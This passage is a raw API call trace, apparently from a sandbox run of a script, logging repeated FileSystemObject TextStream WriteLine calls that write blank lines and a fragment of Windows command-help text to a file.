riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de7b0 | out: ppvObject=0xa3529de7b0*=0x0) returned 0x80004002 [0148.659] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x249c884e5b0, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0xa3529de868*="WriteLine", cNames=0x1, lcid=0x409, rgDispId=0xa3529de72c | out: rgDispId=0xa3529de72c*=10008) returned 0x0 [0148.659] CoTaskMemAlloc (cb=0x28) returned 0x249c87618b0 [0148.659] SysAddRefString () returned 0x0 [0148.659] FileSystemObject:IUnknown:AddRef (This=0x249c884e5b0) returned 0x2 [0148.659] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de340 | out: ppvObject=0xa3529de340*=0x0) returned 0x80004002 [0148.659] FileSystemObject:IDispatch:GetTypeInfo (in: This=0x249c884e5b0, iTInfo=0x0, lcid=0x0, ppTInfo=0xa3529de190 | out: ppTInfo=0xa3529de190*=0x249c875b4d8) returned 0x0 [0148.659] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=-1, refPtrFlags=0x529de188, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Scripting.TextStream Interface", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc8768448, pBstrHelpFile=0x249c8758f60*="鼰졵ɉ") returned 0x0 [0148.659] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=10008, refPtrFlags=0x529de168, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Write a string and an end of line to the stream", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc8768958, pBstrHelpFile=0x249c8758f60*="鼰졵ɉ") returned 0x0 [0148.659] malloc (_Size=0x8) returned 0x249c884ecf0 [0148.659] malloc (_Size=0x14) returned 0x249ca4478f0 [0148.659] _snwprintf_s (in: _DstBuf=0x249ca4478f0, _DstSizeInWords=0xa, _MaxCount=0xffffffffffffffff, _Format="\"%s\"" | out: _DstBuf="\" \"") returned 9 [0148.659] malloc (_Size=0x4e) returned 0x249c884a540 [0148.660] _snwprintf_s (in: _DstBuf=0x249c884a540, _DstSizeInWords=0x27, _MaxCount=0xffffffffffffffff, _Format="%s.%s(" | out: _DstBuf="ITextStream.WriteLine(") returned 22 [0148.660] wcsncat_s (in: _Destination="ITextStream.WriteLine(", _SizeInWords=0x27, _Source="\" \"", _MaxCount=0x9 | out: _Destination="ITextStream.WriteLine(\" \"") returned 0x0 [0148.660] wcscat_s (in: _Destination="ITextStream.WriteLine(\" \"", _SizeInWords=0x27, _Source=");\r\n" | out: _Destination="ITextStream.WriteLine(\" \");\r\n") returned 0x0 [0148.660] wcsncpy_s (in: _Destination=0x249ca4d4b98, _SizeInWords=0x24, _Source="ITextStream.WriteLine(\" \");\r\n", _MaxCount=0x23 | out: _Destination="ITextStream.WriteLine(\" \");\r\n") returned 0x0 [0148.660] IUnknown:Release (This=0x249c875b4d8) returned 0x1 [0148.660] free (_Block=0x249ca4478f0) [0148.660] free (_Block=0x249c884ecf0) [0148.660] free (_Block=0x249c884a540) [0148.660] FileSystemObject:IDispatch:Invoke (in: This=0x249c884e5b0, dispIdMember=10008, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b7d0*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" ", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0, puArgErr=0xa3529de300 | out: pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b7d0*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" ", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0xa3529de300*=0xc884e5b0) returned 0x0 [0148.660] FileSystemObject:IUnknown:Release (This=0x249c884e5b0) returned 0x1 [0148.660] SysReleaseString () returned 0x1 [0148.660] CoTaskMemFree (pv=0x249c87618b0) [0148.660] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de7b0 | out: ppvObject=0xa3529de7b0*=0x0) returned 0x80004002 [0148.660] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x249c884e5b0, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0xa3529de868*="WriteLine", cNames=0x1, lcid=0x409, rgDispId=0xa3529de72c | out: rgDispId=0xa3529de72c*=10008) returned 0x0 [0148.660] CoTaskMemAlloc (cb=0x28) returned 0x249c87615e0 [0148.660] SysAddRefString () returned 0x0 [0148.661] FileSystemObject:IUnknown:AddRef (This=0x249c884e5b0) returned 0x2 [0148.661] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de340 | out: ppvObject=0xa3529de340*=0x0) returned 0x80004002 [0148.661] FileSystemObject:IDispatch:GetTypeInfo (in: This=0x249c884e5b0, iTInfo=0x0, lcid=0x0, ppTInfo=0xa3529de190 | out: ppTInfo=0xa3529de190*=0x249c875b4d8) returned 0x0 [0148.661] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=-1, refPtrFlags=0x529de188, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Scripting.TextStream Interface", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc8768958, pBstrHelpFile=0x249c8758f60*="ꔰ졵ɉ") returned 0x0 [0148.661] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=10008, refPtrFlags=0x529de168, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Write a string and an end of line to the stream", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc8767a28, pBstrHelpFile=0x249c8758f60*="ꔰ졵ɉ") returned 0x0 [0148.661] malloc (_Size=0x8) returned 0x249c884ede0 [0148.661] malloc (_Size=0x14) returned 0x249ca447870 [0148.661] _snwprintf_s (in: _DstBuf=0x249ca447870, _DstSizeInWords=0xa, _MaxCount=0xffffffffffffffff, _Format="\"%s\"" | out: _DstBuf="\" \"") returned 9 [0148.661] malloc (_Size=0x4e) returned 0x249c884a540 [0148.661] _snwprintf_s (in: _DstBuf=0x249c884a540, _DstSizeInWords=0x27, _MaxCount=0xffffffffffffffff, _Format="%s.%s(" | out: _DstBuf="ITextStream.WriteLine(") returned 22 [0148.661] wcsncat_s (in: _Destination="ITextStream.WriteLine(", _SizeInWords=0x27, _Source="\" \"", _MaxCount=0x9 | out: _Destination="ITextStream.WriteLine(\" \"") returned 0x0 [0148.661] wcscat_s (in: _Destination="ITextStream.WriteLine(\" \"", _SizeInWords=0x27, _Source=");\r\n" | out: _Destination="ITextStream.WriteLine(\" \");\r\n") returned 0x0 [0148.661] wcsncpy_s (in: _Destination=0x249ca4d4be0, _SizeInWords=0x24, _Source="ITextStream.WriteLine(\" \");\r\n", _MaxCount=0x23 | out: _Destination="ITextStream.WriteLine(\" \");\r\n") returned 0x0 [0148.661] IUnknown:Release (This=0x249c875b4d8) returned 0x1 [0148.661] free (_Block=0x249ca447870) [0148.661] free (_Block=0x249c884ede0) [0148.661] free (_Block=0x249c884a540) [0148.661] FileSystemObject:IDispatch:Invoke (in: This=0x249c884e5b0, dispIdMember=10008, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b4b8*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" ", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0, puArgErr=0xa3529de300 | out: pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b4b8*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" ", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0xa3529de300*=0xc884e5b0) returned 0x0 [0148.661] FileSystemObject:IUnknown:Release (This=0x249c884e5b0) returned 0x1 [0148.661] SysReleaseString () returned 0x1 [0148.662] CoTaskMemFree (pv=0x249c87615e0) [0148.662] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de7b0 | out: ppvObject=0xa3529de7b0*=0x0) returned 0x80004002 [0148.662] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x249c884e5b0, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0xa3529de868*="WriteLine", cNames=0x1, lcid=0x409, rgDispId=0xa3529de72c | out: rgDispId=0xa3529de72c*=10008) returned 0x0 [0148.662] CoTaskMemAlloc (cb=0x28) returned 0x249c8761b80 [0148.662] SysAddRefString () returned 0x0 [0148.662] FileSystemObject:IUnknown:AddRef (This=0x249c884e5b0) returned 0x2 [0148.662] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de340 | out: ppvObject=0xa3529de340*=0x0) returned 0x80004002 [0148.662] FileSystemObject:IDispatch:GetTypeInfo (in: This=0x249c884e5b0, iTInfo=0x0, lcid=0x0, ppTInfo=0xa3529de190 | out: ppTInfo=0xa3529de190*=0x249c875b4d8) returned 0x0 [0148.662] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=-1, refPtrFlags=0x529de188, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Scripting.TextStream Interface", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc8767a28, pBstrHelpFile=0x249c8758f60*="駰졵ɉ") returned 0x0 [0148.662] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=10008, refPtrFlags=0x529de168, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Write a string and an end of line to the stream", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc8767d28, pBstrHelpFile=0x249c8758f60*="駰졵ɉ") returned 0x0 [0148.662] malloc (_Size=0x8) returned 0x249c884eca0 [0148.662] malloc (_Size=0xae) returned 0x249c884ee60 [0148.662] _snwprintf_s (in: _DstBuf=0x249c884ee60, _DstSizeInWords=0x57, _MaxCount=0xffffffffffffffff, _Format="\"%s\"" | out: _DstBuf="\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\"") returned 86 [0148.662] malloc (_Size=0xe8) returned 0x249ca4d5de0 [0148.662] _snwprintf_s (in: _DstBuf=0x249ca4d5de0, _DstSizeInWords=0x74, _MaxCount=0xffffffffffffffff, _Format="%s.%s(" | out: _DstBuf="ITextStream.WriteLine(") returned 22 [0148.662] wcsncat_s (in: _Destination="ITextStream.WriteLine(", _SizeInWords=0x74, _Source="\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\"", _MaxCount=0x56 | out: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\"") returned 0x0 [0148.662] wcscat_s (in: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\"", _SizeInWords=0x74, _Source=");\r\n" | out: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\");\r\n") returned 0x0 [0148.662] wcsncpy_s (in: _Destination=0x249ca4d4c28, _SizeInWords=0x71, _Source="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\");\r\n", _MaxCount=0x70 | out: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\");\r\n") returned 0x0 [0148.663] IUnknown:Release (This=0x249c875b4d8) returned 0x1 [0148.663] free (_Block=0x249c884ee60) [0148.663] free (_Block=0x249c884eca0) [0148.663] free (_Block=0x249ca4d5de0) [0148.663] FileSystemObject:IDispatch:Invoke (in: This=0x249c884e5b0, dispIdMember=10008, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b510*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0, puArgErr=0xa3529de300 | out: pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b510*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0xa3529de300*=0xc884e5b0) returned 0x0 [0148.663] FileSystemObject:IUnknown:Release (This=0x249c884e5b0) returned 0x1 [0148.663] SysReleaseString () returned 0x1 [0148.663] CoTaskMemFree (pv=0x249c8761b80) [0148.663] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de7b0 | out: ppvObject=0xa3529de7b0*=0x0) returned 0x80004002 [0148.663] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x249c884e5b0, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0xa3529de868*="WriteLine", cNames=0x1, lcid=0x409, rgDispId=0xa3529de72c | out: rgDispId=0xa3529de72c*=10008) returned 0x0 [0148.663] CoTaskMemAlloc (cb=0x28) returned 0x249c8761b80 [0148.663] SysAddRefString () returned 0x0 [0148.663] FileSystemObject:IUnknown:AddRef (This=0x249c884e5b0) returned 0x2 [0148.663] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de340 | out: ppvObject=0xa3529de340*=0x0) returned 0x80004002 [0148.664] FileSystemObject:IDispatch:GetTypeInfo (in: This=0x249c884e5b0, iTInfo=0x0, lcid=0x0, ppTInfo=0xa3529de190 | out: ppTInfo=0xa3529de190*=0x249c875b4d8) returned 0x0 [0148.664] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=-1, refPtrFlags=0x529de188, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Scripting.TextStream Interface", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc8767d28, pBstrHelpFile=0x249c8758f60*="ꄰ졵ɉ") returned 0x0 [0148.664] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=10008, refPtrFlags=0x529de168, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Write a string and an end of line to the stream", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc8768148, pBstrHelpFile=0x249c8758f60*="ꄰ졵ɉ") returned 0x0 [0148.664] malloc (_Size=0x8) returned 0x249c884edc0 [0148.664] malloc (_Size=0xd0) returned 0x249c884ee60 [0148.664] _snwprintf_s (in: _DstBuf=0x249c884ee60, _DstSizeInWords=0x68, _MaxCount=0xffffffffffffffff, _Format="\"%s\"" | out: _DstBuf="\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\"") returned 103 [0148.664] malloc (_Size=0x10a) returned 0x249ca4d5de0 [0148.664] _snwprintf_s (in: _DstBuf=0x249ca4d5de0, _DstSizeInWords=0x85, _MaxCount=0xffffffffffffffff, _Format="%s.%s(" | out: _DstBuf="ITextStream.WriteLine(") returned 22 [0148.664] wcsncat_s (in: _Destination="ITextStream.WriteLine(", _SizeInWords=0x85, _Source="\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\"", _MaxCount=0x67 | out: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\"") returned 0x0 [0148.664] wcscat_s (in: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\"", _SizeInWords=0x85, _Source=");\r\n" | out: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\");\r\n") returned 0x0 [0148.664] wcsncpy_s (in: _Destination=0x249ca4d4d0a, _SizeInWords=0x82, _Source="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\");\r\n", _MaxCount=0x81 | out: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\");\r\n") returned 0x0 [0148.664] IUnknown:Release (This=0x249c875b4d8) returned 0x1 [0148.664] free (_Block=0x249c884ee60) [0148.664] free (_Block=0x249c884edc0) [0148.664] free (_Block=0x249ca4d5de0) [0148.664] FileSystemObject:IDispatch:Invoke (in: This=0x249c884e5b0, dispIdMember=10008, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b568*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0, puArgErr=0xa3529de300 | out: pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b568*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0xa3529de300*=0xc884e5b0) returned 0x0 [0148.665] FileSystemObject:IUnknown:Release (This=0x249c884e5b0) returned 0x1 [0148.665] SysReleaseString () returned 0x1 [0148.665] CoTaskMemFree (pv=0x249c8761b80) [0148.665] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de7b0 | out: ppvObject=0xa3529de7b0*=0x0) returned 0x80004002 [0148.665] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x249c884e5b0, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0xa3529de868*="WriteLine", cNames=0x1, lcid=0x409, rgDispId=0xa3529de72c | out: rgDispId=0xa3529de72c*=10008) returned 0x0 [0148.666] CoTaskMemAlloc (cb=0x28) returned 0x249c87615e0 [0148.666] SysAddRefString () returned 0x0 [0148.666] FileSystemObject:IUnknown:AddRef (This=0x249c884e5b0) returned 0x2 [0148.666] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de340 | out: ppvObject=0xa3529de340*=0x0) returned 0x80004002 [0148.666] FileSystemObject:IDispatch:GetTypeInfo (in: This=0x249c884e5b0, iTInfo=0x0, lcid=0x0, ppTInfo=0xa3529de190 | out: ppTInfo=0xa3529de190*=0x249c875b4d8) returned 0x0 [0148.666] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=-1, refPtrFlags=0x529de188, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Scripting.TextStream Interface", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc8768148, pBstrHelpFile=0x249c8758f60*="骰졵ɉ") returned 0x0 [0148.666] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=10008, refPtrFlags=0x529de168, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Write a string and an end of line to the stream", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc8768568, pBstrHelpFile=0x249c8758f60*="骰졵ɉ") returned 0x0 [0148.666] malloc (_Size=0x8) returned 0x249c884ee00 [0148.666] malloc (_Size=0x14) returned 0x249ca447650 [0148.666] _snwprintf_s (in: _DstBuf=0x249ca447650, _DstSizeInWords=0xa, _MaxCount=0xffffffffffffffff, _Format="\"%s\"" | out: _DstBuf="\" \"") returned 9 [0148.666] malloc (_Size=0x4e) returned 0x249c884a540 [0148.666] _snwprintf_s (in: _DstBuf=0x249c884a540, _DstSizeInWords=0x27, _MaxCount=0xffffffffffffffff, _Format="%s.%s(" | out: _DstBuf="ITextStream.WriteLine(") returned 22 [0148.666] wcsncat_s (in: _Destination="ITextStream.WriteLine(", _SizeInWords=0x27, _Source="\" \"", _MaxCount=0x9 | out: _Destination="ITextStream.WriteLine(\" \"") returned 0x0 [0148.666] wcscat_s (in: _Destination="ITextStream.WriteLine(\" \"", _SizeInWords=0x27, _Source=");\r\n" | out: _Destination="ITextStream.WriteLine(\" \");\r\n") returned 0x0 [0148.666] wcsncpy_s (in: _Destination=0x249ca4d4e0e, _SizeInWords=0x24, _Source="ITextStream.WriteLine(\" \");\r\n", _MaxCount=0x23 | out: _Destination="ITextStream.WriteLine(\" \");\r\n") returned 0x0 [0148.666] IUnknown:Release (This=0x249c875b4d8) returned 0x1 [0148.666] free (_Block=0x249ca447650) [0148.666] free (_Block=0x249c884ee00) [0148.666] free (_Block=0x249c884a540) [0148.667] FileSystemObject:IDispatch:Invoke (in: This=0x249c884e5b0, dispIdMember=10008, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b5c0*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" ", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0, puArgErr=0xa3529de300 | out: pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b5c0*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" ", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0*(wCode=0x0, wReserved=0x0, bstrSource=0x0, 